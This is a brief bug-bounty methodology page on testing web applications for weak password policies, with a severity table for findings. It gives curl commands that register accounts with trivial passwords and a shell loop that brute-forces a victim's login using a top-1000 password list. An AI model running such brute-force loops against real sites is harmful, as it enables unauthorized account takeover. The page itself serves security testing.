Weak Password Policy

Objective

Find weak password policies that allow brute force, credential stuffing, and weak credential use.

Attribution: Methodology from KathanP19/HowToHunt — Weak_Password_Policy. Licensed GPL-3.0.

Testing Methodology

# Test weak password acceptance
curl -X POST https://target.com/register -d "email=test@test.com&password=1234"
curl -X POST https://target.com/register -d "email=test@test.com&password=password"
curl -X POST https://target.com/register -d "email=test@test.com&password=aaaa"

# Check for no complexity requirements
# Try: 123456, password, qwerty, admin, 111111

# Brute force if weak policy + no rate limit
for p in $(cat top1000.txt); do
  curl -s -X POST https://target.com/login -d "email=victim@target.com&password=$p" | grep -q "success" && echo "found $p" && break
done

# Test password reuse and history bypass

What Constitutes a Finding

Condition	Severity
Weak passwords accepted (1234, password)	Medium (P3)
No rate limit + weak policy = brute force	High (P2)
Default creds accepted	High (P2)

References

• HowToHunt — Weak Password Policy